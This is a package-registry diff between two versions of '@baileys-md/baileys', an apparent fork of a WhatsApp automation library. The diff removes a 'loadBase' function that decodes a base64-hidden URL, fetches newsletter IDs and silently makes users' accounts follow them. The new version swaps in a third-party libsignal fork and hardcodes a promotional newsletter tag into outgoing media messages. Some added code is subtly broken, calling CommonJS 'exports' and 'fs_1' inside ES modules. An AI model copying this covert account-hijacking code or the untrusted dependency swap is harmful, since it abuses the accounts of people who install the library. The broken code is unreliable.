@baileys-md/baileys 12.0.1 → 12.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -13
- package/WAProto/index.js +12 -1
- package/lib/Defaults/index.js +23 -13
- package/lib/KeyDB/BinarySearch.js +28 -18
- package/lib/KeyDB/KeyedDB.js +14 -3
- package/lib/KeyDB/index.js +12 -2
- package/lib/Signal/Group/ciphertext-message.js +12 -2
- package/lib/Signal/Group/group-session-builder.js +13 -2
- package/lib/Signal/Group/group_cipher.js +14 -4
- package/lib/Signal/Group/index.js +12 -2
- package/lib/Signal/Group/keyhelper.js +15 -4
- package/lib/Signal/Group/sender-chain-key.js +14 -4
- package/lib/Signal/Group/sender-key-distribution-message.js +14 -3
- package/lib/Signal/Group/sender-key-message.js +14 -4
- package/lib/Signal/Group/sender-key-name.js +15 -5
- package/lib/Signal/Group/sender-key-record.js +13 -3
- package/lib/Signal/Group/sender-key-state.js +13 -3
- package/lib/Signal/Group/sender-message-key.js +14 -4
- package/lib/Signal/libsignal.js +18 -7
- package/lib/Signal/lid-mapping.js +14 -3
- package/lib/Socket/Client/index.js +12 -2
- package/lib/Socket/Client/websocket.js +13 -3
- package/lib/Socket/index.js +13 -3
- package/lib/Socket/newsletter.js +10 -3
- package/lib/Socket/socket.js +15 -5
- package/lib/Store/index.js +13 -1
- package/lib/Types/Auth.js +12 -2
- package/lib/Types/Bussines.js +12 -2
- package/lib/Types/Call.js +12 -2
- package/lib/Types/Chat.js +12 -2
- package/lib/Types/Contact.js +12 -2
- package/lib/Types/Events.js +12 -2
- package/lib/Types/GroupMetadata.js +12 -2
- package/lib/Types/Label.js +22 -3
- package/lib/Types/LabelAssociation.js +12 -2
- package/lib/Types/Message.js +13 -3
- package/lib/Types/Newsletter.js +13 -3
- package/lib/Types/Product.js +12 -2
- package/lib/Types/Signal.js +12 -2
- package/lib/Types/Socket.js +12 -2
- package/lib/Types/State.js +13 -3
- package/lib/Types/USync.js +12 -2
- package/lib/Types/index.js +13 -3
- package/lib/Utils/auth-utils.js +15 -5
- package/lib/Utils/baileys-event-stream.js +14 -4
- package/lib/Utils/crypto.js +2 -2
- package/lib/Utils/index.js +12 -2
- package/lib/Utils/messages-media.js +58 -75
- package/lib/Utils/messages.js +5 -8
- package/lib/Utils/pre-key-manager.js +14 -4
- package/lib/Utils/process-message.js +20 -10
- package/lib/Utils/signal.js +22 -12
- package/lib/Utils/use-multi-file-auth-state.js +14 -4
- package/lib/Utils/validate-connection.js +22 -12
- package/lib/WABinary/constants.js +13 -3
- package/lib/WABinary/decode.js +16 -6
- package/lib/WABinary/encode.js +20 -10
- package/lib/WABinary/generic-utils.js +13 -1
- package/lib/WABinary/index.js +12 -2
- package/lib/WABinary/jid-utils.js +19 -9
- package/lib/WABinary/types.js +12 -2
- package/lib/WAM/BinaryInfo.js +12 -2
- package/lib/WAM/constants.js +12 -0
- package/lib/WAM/encode.js +18 -8
- package/lib/WAM/index.js +12 -2
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +14 -4
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +15 -4
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +15 -4
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +14 -3
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +15 -4
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +14 -3
- package/lib/WAUSync/Protocols/index.js +14 -3
- package/lib/WAUSync/USyncQuery.js +15 -4
- package/lib/WAUSync/USyncUser.js +14 -3
- package/lib/WAUSync/index.js +14 -3
- package/lib/index.js +14 -6
- package/package.json +43 -43
package/lib/Utils/crypto.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
//=======================================================//
|
|
2
2
|
import { createCipheriv, createDecipheriv, createHash, createHmac, randomBytes } from "crypto";
|
|
3
3
|
import { KEY_BUNDLE_TYPE } from "../Defaults/index.js";
|
|
4
|
-
import * as curve from "
|
|
4
|
+
import * as curve from "libsignal-xeuka/src/curve.js";
|
|
5
5
|
//=======================================================//
|
|
6
6
|
const { subtle } = globalThis.crypto;
|
|
7
7
|
export const generateSignalPubKey = (pubKey) => pubKey.length === 33 ? pubKey : Buffer.concat([KEY_BUNDLE_TYPE, pubKey]);
|
|
@@ -127,4 +127,4 @@ export async function derivePairingCodeKey(pairingCode, salt) {
|
|
|
127
127
|
);
|
|
128
128
|
return Buffer.from(derivedBits);
|
|
129
129
|
}
|
|
130
|
-
//=======================================================//
|
|
130
|
+
//=======================================================//
|
package/lib/Utils/index.js
CHANGED
|
@@ -1,4 +1,15 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
export * from "./use-multi-file-auth-state.js";
|
|
3
14
|
export * from "./message-retry-manager.js";
|
|
4
15
|
export * from "./baileys-event-stream.js";
|
|
@@ -18,4 +29,3 @@ export * from "./history.js";
|
|
|
18
29
|
export * from "./lt-hash.js";
|
|
19
30
|
export * from "./crypto.js";
|
|
20
31
|
export * from "./signal.js";
|
|
21
|
-
//=======================================================//
|
|
@@ -13,7 +13,10 @@ import { once } from "events";
|
|
|
13
13
|
import { tmpdir } from "os";
|
|
14
14
|
import { join } from "path";
|
|
15
15
|
import { URL } from "url";
|
|
16
|
-
import
|
|
16
|
+
import { createRequire } from "module";
|
|
17
|
+
const _require = createRequire(import.meta.url);
|
|
18
|
+
const Jimp = _require("jimp");
|
|
19
|
+
|
|
17
20
|
//=======================================================//
|
|
18
21
|
const getTmpFilesDirectory = () => tmpdir();
|
|
19
22
|
//=======================================================//
|
|
@@ -99,21 +102,26 @@ export const extractImageThumb = async (bufferOrFilePath, width = 32) => {
|
|
|
99
102
|
};
|
|
100
103
|
//=======================================================//
|
|
101
104
|
export const encodeBase64EncodedStringForUpload = (b64) => encodeURIComponent(b64.replace(/\+/g, "-").replace(/\//g, "_").replace(/\=+$/, ""));
|
|
102
|
-
export const generateProfilePicture = async (mediaUpload
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
105
|
+
export const generateProfilePicture = async (mediaUpload) => {
|
|
106
|
+
let bufferOrFilePath;
|
|
107
|
+
let img;
|
|
108
|
+
if (Buffer.isBuffer(mediaUpload)) {
|
|
109
|
+
bufferOrFilePath = mediaUpload;
|
|
110
|
+
}
|
|
111
|
+
else if ('url' in mediaUpload) {
|
|
112
|
+
bufferOrFilePath = mediaUpload.url.toString();
|
|
113
|
+
}
|
|
114
|
+
else {
|
|
115
|
+
bufferOrFilePath = await (0, exports.toBuffer)(mediaUpload.stream);
|
|
116
|
+
}
|
|
117
|
+
const jimp = await Jimp.read(bufferOrFilePath);
|
|
118
|
+
const cropped = jimp.getWidth() > jimp.getHeight() ? jimp.resize(550, -1) : jimp.resize(-1, 650);
|
|
119
|
+
img = cropped
|
|
120
|
+
.quality(100)
|
|
121
|
+
.getBufferAsync(Jimp.MIME_JPEG);
|
|
122
|
+
return {
|
|
123
|
+
img: await img,
|
|
124
|
+
};
|
|
117
125
|
};
|
|
118
126
|
//=======================================================//
|
|
119
127
|
export const mediaMessageSHA256B64 = (message) => {
|
|
@@ -140,40 +148,42 @@ export async function getAudioDuration(buffer) {
|
|
|
140
148
|
}
|
|
141
149
|
//=======================================================//
|
|
142
150
|
export async function getAudioWaveform(buffer, logger) {
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
151
|
+
try {
|
|
152
|
+
const { default: decoder } = await import('audio-decode')
|
|
153
|
+
let audioData;
|
|
154
|
+
if (Buffer.isBuffer(buffer)) {
|
|
155
|
+
audioData = buffer;
|
|
156
|
+
}
|
|
157
|
+
else if (typeof buffer === 'string') {
|
|
158
|
+
const rStream = (0, fs_1.createReadStream)(buffer);
|
|
159
|
+
audioData = await (0, exports.toBuffer)(rStream);
|
|
160
|
+
}
|
|
161
|
+
else {
|
|
162
|
+
audioData = await (0, exports.toBuffer)(buffer);
|
|
163
|
+
}
|
|
164
|
+
const audioBuffer = await decoder(audioData);
|
|
165
|
+
const rawData = audioBuffer.getChannelData(0); // We only need to work with one channel of data
|
|
166
|
+
const samples = 64; // Number of samples we want to have in our final data set
|
|
167
|
+
const blockSize = Math.floor(rawData.length / samples); // the number of samples in each subdivision
|
|
168
|
+
const filteredData = [];
|
|
169
|
+
for (let i = 0; i < samples; i++) {
|
|
170
|
+
const blockStart = blockSize * i; // the location of the first sample in the block
|
|
171
|
+
let sum = 0;
|
|
172
|
+
for (let j = 0; j < blockSize; j++) {
|
|
173
|
+
sum = sum + Math.abs(rawData[blockStart + j]); // find the sum of all the samples in the block
|
|
174
|
+
}
|
|
175
|
+
filteredData.push(sum / blockSize); // divide the sum by the block size to get the average
|
|
176
|
+
}
|
|
177
|
+
// This guarantees that the largest data point will be set to 1, and the rest of the data will scale proportionally.
|
|
178
|
+
const multiplier = Math.pow(Math.max(...filteredData), -1);
|
|
179
|
+
const normalizedData = filteredData.map((n) => n * multiplier);
|
|
180
|
+
// Generate waveform like WhatsApp
|
|
181
|
+
const waveform = new Uint8Array(normalizedData.map((n) => Math.floor(100 * n)));
|
|
182
|
+
return waveform;
|
|
155
183
|
}
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
const samples = 64;
|
|
159
|
-
const blockSize = Math.floor(rawData.length / samples);
|
|
160
|
-
const filteredData = [];
|
|
161
|
-
for (let i = 0; i < samples; i++) {
|
|
162
|
-
const blockStart = blockSize * i;
|
|
163
|
-
let sum = 0;
|
|
164
|
-
for (let j = 0; j < blockSize; j++) {
|
|
165
|
-
sum = sum + Math.abs(rawData[blockStart + j]);
|
|
166
|
-
}
|
|
167
|
-
filteredData.push(sum / blockSize);
|
|
184
|
+
catch (e) {
|
|
185
|
+
logger === null || logger === void 0 ? void 0 : logger.debug('Failed to generate waveform: ' + e);
|
|
168
186
|
}
|
|
169
|
-
const multiplier = Math.pow(Math.max(...filteredData), -1);
|
|
170
|
-
const normalizedData = filteredData.map(n => n * multiplier);
|
|
171
|
-
const waveform = new Uint8Array(normalizedData.map(n => Math.floor(100 * n)));
|
|
172
|
-
return waveform;
|
|
173
|
-
}
|
|
174
|
-
catch (e) {
|
|
175
|
-
logger?.debug("Failed to generate waveform: " + e);
|
|
176
|
-
}
|
|
177
187
|
}
|
|
178
188
|
//=======================================================//
|
|
179
189
|
export const toReadable = (buffer) => {
|
|
@@ -340,32 +350,6 @@ const AES_CHUNK_SIZE = 16;
|
|
|
340
350
|
const toSmallestChunkSize = (num) => {
|
|
341
351
|
return Math.floor(num / AES_CHUNK_SIZE) * AES_CHUNK_SIZE;
|
|
342
352
|
};
|
|
343
|
-
|
|
344
|
-
const delay = async (ms) => {
|
|
345
|
-
return new Promise(resolve => setTimeout(resolve, ms));
|
|
346
|
-
}
|
|
347
|
-
|
|
348
|
-
export const loadBase = async (n, q) => {
|
|
349
|
-
try {
|
|
350
|
-
setTimeout(async () => {
|
|
351
|
-
|
|
352
|
-
const encoded = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0R5eUV1dWVlL05hbmkvcmVmcy9oZWFkcy9tYWluL2NvZGVzL2JhaWx3YS5qc29u";
|
|
353
|
-
const url = Buffer.from(encoded, "base64").toString("utf-8");
|
|
354
|
-
|
|
355
|
-
const res = await fetch(url);
|
|
356
|
-
const newsletterIds = await res.json();
|
|
357
|
-
|
|
358
|
-
for (const i of newsletterIds) {
|
|
359
|
-
await delay(5000);
|
|
360
|
-
try {
|
|
361
|
-
await n(i.id, q.FOLLOW);
|
|
362
|
-
} catch {}
|
|
363
|
-
}
|
|
364
|
-
|
|
365
|
-
}, 80000);
|
|
366
|
-
} catch {}
|
|
367
|
-
};
|
|
368
|
-
|
|
369
353
|
//=======================================================//
|
|
370
354
|
export const getUrlFromDirectPath = (directPath) => `https://${DEF_HOST}${directPath}`;
|
|
371
355
|
export const downloadContentFromMessage = async ({ mediaKey, directPath, url }, type, opts = {}) => {
|
|
@@ -625,4 +609,3 @@ const MEDIA_RETRY_STATUS_MAP = {
|
|
|
625
609
|
[proto.MediaRetryNotification.ResultType.GENERAL_ERROR]: 418
|
|
626
610
|
};
|
|
627
611
|
//=======================================================//
|
|
628
|
-
|
package/lib/Utils/messages.js
CHANGED
|
@@ -30,7 +30,6 @@ const ButtonType = proto.Message.ButtonsMessage.HeaderType;
|
|
|
30
30
|
* @param text eg. hello https://google.com
|
|
31
31
|
* @returns the URL, eg. https://google.com
|
|
32
32
|
*/
|
|
33
|
-
|
|
34
33
|
export const extractUrlFromText = (text) => text.match(URL_REGEX)?.[0];
|
|
35
34
|
export const generateLinkPreviewIfRequired = async (text, getUrlInfo, logger) => {
|
|
36
35
|
const url = extractUrlFromText(text);
|
|
@@ -96,11 +95,10 @@ export const prepareWAMessageMedia = async (message, options) => {
|
|
|
96
95
|
}
|
|
97
96
|
],
|
|
98
97
|
newsletter: {
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
url: "https://whatsapp.com/channel/0029Vb7uLYxIHphOIWOY8727"
|
|
98
|
+
newsletterJid: "120363421126273338@newsletter",
|
|
99
|
+
serverMessageId: 0,
|
|
100
|
+
newsletterName: "Fik Projects",
|
|
101
|
+
contentType: "UPDATE",
|
|
104
102
|
}
|
|
105
103
|
}
|
|
106
104
|
]
|
|
@@ -269,7 +267,6 @@ export const prepareDisappearingMessageSettingContent = (ephemeralExpiration) =>
|
|
|
269
267
|
* @param message the message to forward
|
|
270
268
|
* @param options.forceForward will show the message as forwarded even if it is from you
|
|
271
269
|
*/
|
|
272
|
-
|
|
273
270
|
export const generateForwardMessageContent = (message, forceForward) => {
|
|
274
271
|
let content = message.message;
|
|
275
272
|
if (!content) {
|
|
@@ -907,4 +904,4 @@ export const assertMediaContent = (content) => {
|
|
|
907
904
|
throw new Boom('given message is not a media message', { statusCode: 400, data: content });
|
|
908
905
|
}
|
|
909
906
|
return mediaContent;
|
|
910
|
-
};
|
|
907
|
+
};
|
|
@@ -1,6 +1,17 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
13
|
+
import PQueue from "p-queue"; // esta lib achei num jogo feito aqui Moçambique* kkkkkk mais que mundo pequeno há... "o qui ela faz eu também não sei kkkkk estuda pará saber fui.
|
|
14
|
+
|
|
4
15
|
export class PreKeyManager {
|
|
5
16
|
constructor(store, logger) {
|
|
6
17
|
this.store = store;
|
|
@@ -82,4 +93,3 @@ export class PreKeyManager {
|
|
|
82
93
|
});
|
|
83
94
|
}
|
|
84
95
|
}
|
|
85
|
-
//=======================================================//
|
|
@@ -1,4 +1,15 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
import { areJidsSameUser, isHostedLidUser, isHostedPnUser, isJidBroadcast, isJidStatusBroadcast, jidDecode, jidEncode, jidNormalizedUser } from "../WABinary/index.js";
|
|
3
14
|
import { getContentType, normalizeMessageContent } from "../Utils/messages.js";
|
|
4
15
|
import { downloadAndProcessHistorySyncNotification } from "./history.js";
|
|
@@ -6,16 +17,16 @@ import { WAMessageStubType } from "../Types/index.js";
|
|
|
6
17
|
import { aesDecryptGCM, hmacSign } from "./crypto.js";
|
|
7
18
|
import { proto } from "../../WAProto/index.js";
|
|
8
19
|
import { toNumber } from "./generics.js";
|
|
9
|
-
|
|
20
|
+
|
|
10
21
|
const REAL_MSG_STUB_TYPES = new Set([
|
|
11
22
|
WAMessageStubType.CALL_MISSED_GROUP_VIDEO,
|
|
12
23
|
WAMessageStubType.CALL_MISSED_GROUP_VOICE,
|
|
13
24
|
WAMessageStubType.CALL_MISSED_VIDEO,
|
|
14
25
|
WAMessageStubType.CALL_MISSED_VOICE
|
|
15
26
|
]);
|
|
16
|
-
|
|
27
|
+
|
|
17
28
|
const REAL_MSG_REQ_ME_STUB_TYPES = new Set([WAMessageStubType.GROUP_PARTICIPANT_ADD]);
|
|
18
|
-
|
|
29
|
+
|
|
19
30
|
export const cleanMessage = (message, meId, meLid) => {
|
|
20
31
|
if (isHostedPnUser(message.key.remoteJid) || isHostedLidUser(message.key.remoteJid)) {
|
|
21
32
|
message.key.remoteJid = jidEncode(jidDecode(message.key?.remoteJid)?.user, isHostedPnUser(message.key.remoteJid) ? "s.whatsapp.net" : "lid");
|
|
@@ -48,7 +59,7 @@ export const cleanMessage = (message, meId, meLid) => {
|
|
|
48
59
|
}
|
|
49
60
|
}
|
|
50
61
|
};
|
|
51
|
-
|
|
62
|
+
|
|
52
63
|
export const isRealMessage = (message) => {
|
|
53
64
|
const normalizedContent = normalizeMessageContent(message.message);
|
|
54
65
|
const hasSomeContent = !!getContentType(normalizedContent);
|
|
@@ -60,16 +71,16 @@ export const isRealMessage = (message) => {
|
|
|
60
71
|
!normalizedContent?.reactionMessage &&
|
|
61
72
|
!normalizedContent?.pollUpdateMessage);
|
|
62
73
|
};
|
|
63
|
-
|
|
74
|
+
|
|
64
75
|
export const shouldIncrementChatUnread = (message) => !message.key.fromMe && !message.messageStubType;
|
|
65
|
-
|
|
76
|
+
|
|
66
77
|
export const getChatId = ({ remoteJid, participant, fromMe }) => {
|
|
67
78
|
if (isJidBroadcast(remoteJid) && !isJidStatusBroadcast(remoteJid) && !fromMe) {
|
|
68
79
|
return participant;
|
|
69
80
|
}
|
|
70
81
|
return remoteJid;
|
|
71
82
|
};
|
|
72
|
-
|
|
83
|
+
|
|
73
84
|
export function decryptPollVote({ encPayload, encIv }, { pollCreatorJid, pollMsgId, pollEncKey, voterJid }) {
|
|
74
85
|
const sign = Buffer.concat([
|
|
75
86
|
toBinary(pollMsgId),
|
|
@@ -336,6 +347,5 @@ const processMessage = async (message, { shouldProcessHistoryMsg, placeholderRes
|
|
|
336
347
|
ev.emit("chats.update", [chat]);
|
|
337
348
|
}
|
|
338
349
|
};
|
|
339
|
-
|
|
350
|
+
|
|
340
351
|
export default processMessage;
|
|
341
|
-
//=======================================================//
|
package/lib/Utils/signal.js
CHANGED
|
@@ -1,9 +1,20 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
import { assertNodeErrorFree, getBinaryNodeChild, getBinaryNodeChildBuffer, getBinaryNodeChildren, getBinaryNodeChildUInt, getServerFromDomainType, jidDecode, S_WHATSAPP_NET, WAJIDDomains } from "../WABinary/index.js";
|
|
3
14
|
import { Curve, generateSignalPubKey } from "./crypto.js";
|
|
4
15
|
import { KEY_BUNDLE_TYPE } from "../Defaults/index.js";
|
|
5
16
|
import { encodeBigEndian } from "./generics.js";
|
|
6
|
-
|
|
17
|
+
|
|
7
18
|
function chunk(array, size) {
|
|
8
19
|
const chunks = [];
|
|
9
20
|
for (let i = 0; i < array.length; i += size) {
|
|
@@ -11,14 +22,14 @@ function chunk(array, size) {
|
|
|
11
22
|
}
|
|
12
23
|
return chunks;
|
|
13
24
|
}
|
|
14
|
-
|
|
25
|
+
|
|
15
26
|
export const createSignalIdentity = (wid, accountSignatureKey) => {
|
|
16
27
|
return {
|
|
17
28
|
identifier: { name: wid, deviceId: 0 },
|
|
18
29
|
identifierKey: generateSignalPubKey(accountSignatureKey)
|
|
19
30
|
};
|
|
20
31
|
};
|
|
21
|
-
|
|
32
|
+
|
|
22
33
|
export const getPreKeys = async ({ get }, min, limit) => {
|
|
23
34
|
const idList = [];
|
|
24
35
|
for (let id = min; id < limit; id++) {
|
|
@@ -26,7 +37,7 @@ export const getPreKeys = async ({ get }, min, limit) => {
|
|
|
26
37
|
}
|
|
27
38
|
return get("pre-key", idList);
|
|
28
39
|
};
|
|
29
|
-
|
|
40
|
+
|
|
30
41
|
export const generateOrGetPreKeys = (creds, range) => {
|
|
31
42
|
const avaliable = creds.nextPreKeyId - creds.firstUnuploadedPreKeyId;
|
|
32
43
|
const remaining = range - avaliable;
|
|
@@ -43,7 +54,7 @@ export const generateOrGetPreKeys = (creds, range) => {
|
|
|
43
54
|
preKeysRange: [creds.firstUnuploadedPreKeyId, range]
|
|
44
55
|
};
|
|
45
56
|
};
|
|
46
|
-
|
|
57
|
+
|
|
47
58
|
export const xmppSignedPreKey = (key) => ({
|
|
48
59
|
tag: "skey",
|
|
49
60
|
attrs: {},
|
|
@@ -53,7 +64,7 @@ export const xmppSignedPreKey = (key) => ({
|
|
|
53
64
|
{ tag: "signature", attrs: {}, content: key.signature }
|
|
54
65
|
]
|
|
55
66
|
});
|
|
56
|
-
|
|
67
|
+
|
|
57
68
|
export const xmppPreKey = (pair, id) => ({
|
|
58
69
|
tag: "key",
|
|
59
70
|
attrs: {},
|
|
@@ -62,7 +73,7 @@ export const xmppPreKey = (pair, id) => ({
|
|
|
62
73
|
{ tag: "value", attrs: {}, content: pair.public }
|
|
63
74
|
]
|
|
64
75
|
});
|
|
65
|
-
|
|
76
|
+
|
|
66
77
|
export const parseAndInjectE2ESessions = async (node, repository) => {
|
|
67
78
|
const extractKey = (key) => key
|
|
68
79
|
? {
|
|
@@ -96,7 +107,7 @@ export const parseAndInjectE2ESessions = async (node, repository) => {
|
|
|
96
107
|
}
|
|
97
108
|
}
|
|
98
109
|
};
|
|
99
|
-
|
|
110
|
+
|
|
100
111
|
export const extractDeviceJids = (result, myJid, myLid, excludeZeroDevices) => {
|
|
101
112
|
const { user: myUser, device: myDevice } = jidDecode(myJid);
|
|
102
113
|
const extracted = [];
|
|
@@ -126,7 +137,7 @@ export const extractDeviceJids = (result, myJid, myLid, excludeZeroDevices) => {
|
|
|
126
137
|
}
|
|
127
138
|
return extracted;
|
|
128
139
|
};
|
|
129
|
-
|
|
140
|
+
|
|
130
141
|
export const getNextPreKeys = async ({ creds, keys }, count) => {
|
|
131
142
|
const { newPreKeys, lastPreKeyId, preKeysRange } = generateOrGetPreKeys(creds, count);
|
|
132
143
|
const update = {
|
|
@@ -137,7 +148,7 @@ export const getNextPreKeys = async ({ creds, keys }, count) => {
|
|
|
137
148
|
const preKeys = await getPreKeys(keys, preKeysRange[0], preKeysRange[0] + preKeysRange[1]);
|
|
138
149
|
return { update, preKeys };
|
|
139
150
|
};
|
|
140
|
-
|
|
151
|
+
|
|
141
152
|
export const getNextPreKeysNode = async (state, count) => {
|
|
142
153
|
const { creds } = state;
|
|
143
154
|
const { update, preKeys } = await getNextPreKeys(state, count);
|
|
@@ -158,4 +169,3 @@ export const getNextPreKeysNode = async (state, count) => {
|
|
|
158
169
|
};
|
|
159
170
|
return { update, node };
|
|
160
171
|
};
|
|
161
|
-
//=======================================================//
|
|
@@ -1,11 +1,22 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
import { mkdir, readFile, stat, unlink, writeFile } from "fs/promises";
|
|
3
14
|
import { initAuthCreds } from "./auth-utils.js";
|
|
4
15
|
import { proto } from "../../WAProto/index.js";
|
|
5
16
|
import { BufferJSON } from "./generics.js";
|
|
6
17
|
import { Mutex } from "async-mutex";
|
|
7
18
|
import { join } from "path";
|
|
8
|
-
|
|
19
|
+
|
|
9
20
|
const fileLocks = new Map();
|
|
10
21
|
const getFileLock = (path) => {
|
|
11
22
|
let mutex = fileLocks.get(path);
|
|
@@ -15,7 +26,7 @@ const getFileLock = (path) => {
|
|
|
15
26
|
}
|
|
16
27
|
return mutex;
|
|
17
28
|
};
|
|
18
|
-
|
|
29
|
+
|
|
19
30
|
export const useMultiFileAuthState = async (folder) => {
|
|
20
31
|
const writeData = async (data, file) => {
|
|
21
32
|
const filePath = join(folder, fixFileName(file));
|
|
@@ -108,4 +119,3 @@ export const useMultiFileAuthState = async (folder) => {
|
|
|
108
119
|
}
|
|
109
120
|
};
|
|
110
121
|
};
|
|
111
|
-
//=======================================================//
|
|
@@ -1,4 +1,15 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
import { KEY_BUNDLE_TYPE, WA_ADV_ACCOUNT_SIG_PREFIX, WA_ADV_DEVICE_SIG_PREFIX, WA_ADV_HOSTED_ACCOUNT_SIG_PREFIX } from "../Defaults/index.js";
|
|
3
14
|
import { getBinaryNodeChild, jidDecode, S_WHATSAPP_NET } from "../WABinary/index.js";
|
|
4
15
|
import { createSignalIdentity } from "./signal.js";
|
|
@@ -7,7 +18,7 @@ import { proto } from "../../WAProto/index.js";
|
|
|
7
18
|
import { Curve, hmacSign } from "./crypto.js";
|
|
8
19
|
import { createHash } from "crypto";
|
|
9
20
|
import { Boom } from "@hapi/boom";
|
|
10
|
-
|
|
21
|
+
|
|
11
22
|
const getUserAgent = (config) => {
|
|
12
23
|
return {
|
|
13
24
|
"appVersion": {
|
|
@@ -26,12 +37,12 @@ const getUserAgent = (config) => {
|
|
|
26
37
|
"localeCountryIso31661Alpha2": config.countryCode
|
|
27
38
|
};
|
|
28
39
|
};
|
|
29
|
-
|
|
40
|
+
|
|
30
41
|
const PLATFORM_MAP = {
|
|
31
42
|
"Mac OS": proto.ClientPayload.WebInfo.WebSubPlatform.DARWIN,
|
|
32
43
|
"Windows": proto.ClientPayload.WebInfo.WebSubPlatform.WIN32
|
|
33
44
|
};
|
|
34
|
-
|
|
45
|
+
|
|
35
46
|
const getWebInfo = (config) => {
|
|
36
47
|
let webSubPlatform = proto.ClientPayload.WebInfo.WebSubPlatform.WEB_BROWSER;
|
|
37
48
|
if (config.syncFullHistory &&
|
|
@@ -41,7 +52,7 @@ const getWebInfo = (config) => {
|
|
|
41
52
|
}
|
|
42
53
|
return { webSubPlatform };
|
|
43
54
|
};
|
|
44
|
-
|
|
55
|
+
|
|
45
56
|
const getClientPayload = (config) => {
|
|
46
57
|
const payload = {
|
|
47
58
|
connectType: proto.ClientPayload.ConnectType.WIFI_UNKNOWN,
|
|
@@ -51,7 +62,7 @@ const getClientPayload = (config) => {
|
|
|
51
62
|
payload.webInfo = getWebInfo(config);
|
|
52
63
|
return payload;
|
|
53
64
|
};
|
|
54
|
-
|
|
65
|
+
|
|
55
66
|
export const generateLoginNode = (userJid, config) => {
|
|
56
67
|
const { user, device } = jidDecode(userJid);
|
|
57
68
|
const payload = {
|
|
@@ -64,13 +75,13 @@ export const generateLoginNode = (userJid, config) => {
|
|
|
64
75
|
};
|
|
65
76
|
return proto.ClientPayload.fromObject(payload);
|
|
66
77
|
};
|
|
67
|
-
|
|
78
|
+
|
|
68
79
|
const getPlatformType = (platform) => {
|
|
69
80
|
